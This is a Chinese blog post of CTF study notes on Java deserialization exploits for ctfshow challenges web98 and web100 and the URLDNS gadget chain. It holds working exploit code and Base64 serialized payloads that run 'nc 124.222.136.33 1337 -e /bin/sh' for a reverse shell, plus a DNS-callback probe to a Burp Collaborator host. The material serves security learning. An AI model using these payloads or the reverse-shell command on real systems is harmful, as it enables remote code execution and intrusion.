【心得】java反序列化漏洞利用启蒙个人笔记

2024-01-23 16:20

本文主要是介绍【心得】java反序列化漏洞利用启蒙个人笔记,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前置基础概念

java的反序列化利用概念baby题

例题1

例题2

java反序列化启蒙小结:

URLDNS链

一句话总结:

简单分析:

利用点:

示例:


前置基础概念

序列化  类实例->字节流

反序列化  字节流->类实例


序列化  writeObject

反序列化  readObject


类要能序列化满足的条件:

1 实现java.io.Serializeble接口

2 该类的所有属性必须都是可序列化,如果有一个属性是不可序列化的,那么这个属性必须注明是transient或static


反序列化漏洞利用条件:

1 有反序列化接口,能够提交序列化的数据,会自动调用对应类的readObject方法

2 有可以利用的类 readObject通过跳板,最终可以实现文件读取、写入或者执行

3 serialVersionUID 相同来确保序列化和反序列化的类版本一致

java的反序列化利用概念baby题

例题1

web98

题目附件:

package com.ctfshow.entity;public class User implements Serializable {private static final long serialVersionUID = -3254536114659397781L;private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);}
}

先本地测一下

贴出测试的代码

package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable {private static final long serialVersionUID = -3254536114659397781L;private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);}
}
package main;import com.ctfshow.entity.User;
import util.SerializeUtil;import java.io.IOException;
import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {User user = new User("calc");String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));System.out.println(payload);SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));}
}
package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);Object o = objectInputStream.readObject();return o;}
}

成功弹出计算器

 最终exp

package main;import com.ctfshow.entity.User;
import util.SerializeUtil;import java.io.IOException;
import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {User user = new User("nc 124.222.136.33 1337 -e /bin/sh");String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));System.out.println(payload);
//        SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));}
}

payload:

userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==

反弹shell成功,拿flag

当ban掉反序列化漏洞的类,可以反序列化其子类,也可以反序列化其父类

例题2

web100

简单打一下,发现User类被ban不让反序列化了

审一下源码发现User类的父类BaseUser有恶意readObject方法可利用,所以我们可以反序列化它的父类

题目附件:

package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User extends BaseUser implements Serializable {private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}
}
package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class BaseUser implements Serializable {private static final long serialVersionUID = -9058183616471264199L;public String secret=null;private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.secret);}}

还是用上一题的Util类来辅助生成payload

但UserMain的exp要改一下

package main;import com.ctfshow.entity.BaseUser;
import com.ctfshow.entity.User;
import util.SerializeUtil;import java.io.IOException;
import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {BaseUser baseUser = new BaseUser();baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(baseUser)));System.out.println(payload);
//        SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));}
}

payload:

userData=rO0ABXNyABtjb20uY3Rmc2hvdy5lbnRpdHkuQmFzZVVzZXKCSt3+PfeUOQIAAUwABnNlY3JldHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAhbmMgMTI0LjIyMi4xMzYuMzMgMTMzNyAtZSAvYmluL3No

发现成功弹shell了

但题目显示反序列化错误

这是为什么呢?

因为反序列化的时候涉及到一个类型强转

user = (User) safeObjectInputStream.readUnshared();

毕竟父类和子类属性方法不完全相同,故会报错

但报错无妨,BaseUser的readObject方法已经执行了,达成了RCE的效果。

java反序列化启蒙小结:

1 需要有1个提交反序列化字节流的地方

2 有可以被利用的类,存在readObject方法

3 类反序列化后,类实例已不再关注,我们重点是执行了恶意readObject方法

URLDNS链

一句话总结:

不需要其他依赖,原生java库,支持反序列化后,触发一次dns请求


HashMap

存放键值对的集合

为了验证键有没有重复,会对键 进行取哈希值操作

hashCode  相同,就认为集合里面有这个键了,为了避免一个键对应多个值,所以会覆盖

简单分析:

利用两个类

HashMap 和URL 类

HashMap存在 readObject方法,putVal里调用了hash方法,处理自己的key

hash方法,调用了key的hashCode方法

当我们传入的KEY是URL对象的时候,就会调用URL对象的hashCode

URL类的hashCode方法,只要自己的hashCode是-1 ,就会调用自己handler属性的hashCode方法

handler是URLStreamHandler类,它的hashCode方法

调用了getHostAddress方法

调用了URL类的getHostAddress方法

最终调用了 InetAddress.getByName(host); 实现了一次DNS请求。

利用点:

1 验证反序列化漏洞存在 ,适合poc用

2 判断对方服务器是否出网

示例:

package com.ctfshow.entity;import util.SerializeUtil;import java.io.IOException;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;public class CtfshowMain {public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {Map map = new HashMap<Object,Object>();URL url = new URL("http://success.ybdc5g9cxiy4b2muudcdlnfv4macy1.burpcollaborator.net");Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");((Field) field).setAccessible(true);field.set(url,-1);map.put(url,"ctfshow");byte[] data = SerializeUtil.serialize(map);SerializeUtil.unSerialize(data);}
}

用Burp自带的Collaborator Client做dnslog

成功接收到dns请求

这篇关于【心得】java反序列化漏洞利用启蒙个人笔记的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/636836

相关文章

SpringBoot整合Flowable实现工作流的详细流程

《SpringBoot整合Flowable实现工作流的详细流程》Flowable是一个使用Java编写的轻量级业务流程引擎,Flowable流程引擎可用于部署BPMN2.0流程定义,创建这些流程定义的... 目录1、流程引擎介绍2、创建项目3、画流程图4、开发接口4.1 Java 类梳理4.2 查看流程图4

一文详解如何在idea中快速搭建一个Spring Boot项目

《一文详解如何在idea中快速搭建一个SpringBoot项目》IntelliJIDEA作为Java开发者的‌首选IDE‌,深度集成SpringBoot支持,可一键生成项目骨架、智能配置依赖,这篇文... 目录前言1、创建项目名称2、勾选需要的依赖3、在setting中检查maven4、编写数据源5、开启热

Java对异常的认识与异常的处理小结

《Java对异常的认识与异常的处理小结》Java程序在运行时可能出现的错误或非正常情况称为异常,下面给大家介绍Java对异常的认识与异常的处理,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参... 目录一、认识异常与异常类型。二、异常的处理三、总结 一、认识异常与异常类型。(1)简单定义-什么是

SpringBoot项目配置logback-spring.xml屏蔽特定路径的日志

《SpringBoot项目配置logback-spring.xml屏蔽特定路径的日志》在SpringBoot项目中,使用logback-spring.xml配置屏蔽特定路径的日志有两种常用方式,文中的... 目录方案一:基础配置(直接关闭目标路径日志)方案二:结合 Spring Profile 按环境屏蔽关

Java使用HttpClient实现图片下载与本地保存功能

《Java使用HttpClient实现图片下载与本地保存功能》在当今数字化时代,网络资源的获取与处理已成为软件开发中的常见需求,其中,图片作为网络上最常见的资源之一,其下载与保存功能在许多应用场景中都... 目录引言一、Apache HttpClient简介二、技术栈与环境准备三、实现图片下载与保存功能1.

SpringBoot排查和解决JSON解析错误(400 Bad Request)的方法

《SpringBoot排查和解决JSON解析错误(400BadRequest)的方法》在开发SpringBootRESTfulAPI时,客户端与服务端的数据交互通常使用JSON格式,然而,JSON... 目录问题背景1. 问题描述2. 错误分析解决方案1. 手动重新输入jsON2. 使用工具清理JSON3.

java中long的一些常见用法

《java中long的一些常见用法》在Java中,long是一种基本数据类型,用于表示长整型数值,接下来通过本文给大家介绍java中long的一些常见用法,感兴趣的朋友一起看看吧... 在Java中,long是一种基本数据类型,用于表示长整型数值。它的取值范围比int更大,从-922337203685477

java Long 与long之间的转换流程

《javaLong与long之间的转换流程》Long类提供了一些方法,用于在long和其他数据类型(如String)之间进行转换,本文将详细介绍如何在Java中实现Long和long之间的转换,感... 目录概述流程步骤1:将long转换为Long对象步骤2:将Longhttp://www.cppcns.c

SpringBoot集成LiteFlow实现轻量级工作流引擎的详细过程

《SpringBoot集成LiteFlow实现轻量级工作流引擎的详细过程》LiteFlow是一款专注于逻辑驱动流程编排的轻量级框架,它以组件化方式快速构建和执行业务流程,有效解耦复杂业务逻辑,下面给大... 目录一、基础概念1.1 组件(Component)1.2 规则(Rule)1.3 上下文(Conte

SpringBoot服务获取Pod当前IP的两种方案

《SpringBoot服务获取Pod当前IP的两种方案》在Kubernetes集群中,SpringBoot服务获取Pod当前IP的方案主要有两种,通过环境变量注入或通过Java代码动态获取网络接口IP... 目录方案一:通过 Kubernetes Downward API 注入环境变量原理步骤方案二:通过